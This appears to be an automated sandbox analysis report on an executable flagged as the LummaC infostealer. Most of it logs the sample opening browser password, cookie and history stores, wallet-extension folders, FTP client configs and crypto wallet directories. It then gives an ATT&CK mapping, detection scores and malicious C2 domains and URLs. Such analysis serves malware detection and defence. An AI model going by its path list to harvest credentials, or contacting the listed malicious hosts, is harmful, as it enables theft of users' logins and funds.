Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior

Source: Yara match

File source: Process Memory Space: CAo57G5Cio.exe PID: 6188, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: CAo57G5Cio.exe PID: 6188, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
CAo57G5Cio.exe	58%	Virustotal		Browse
CAo57G5Cio.exe	63%	ReversingLabs	Win32.Infostealer.Tinba
CAo57G5Cio.exe	100%	Avira	TR/Crypt.TPM.Gen
CAo57G5Cio.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://mindhandru.buzz/MSWznTY69wwRW38B95	100%	Avira URL Cloud	malware
https://mindhandru.buzz/api~	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeu	0%	Avira URL Cloud	safe
https://mindhandru.buzz/1	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiPcG3	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exe-	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exe/	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apit	100%	Avira URL Cloud	malware
https://mindhandru.buzz/v	100%	Avira URL Cloud	malware
https://mindhandru.buzz/a	100%	Avira URL Cloud	malware
http://185.215.113.16:80/off/def.exe5	0%	Avira URL Cloud	safe
https://mindhandru.buzz/apiU	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
mindhandru.buzz	172.67.165.185	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_96.7.dr	false		high
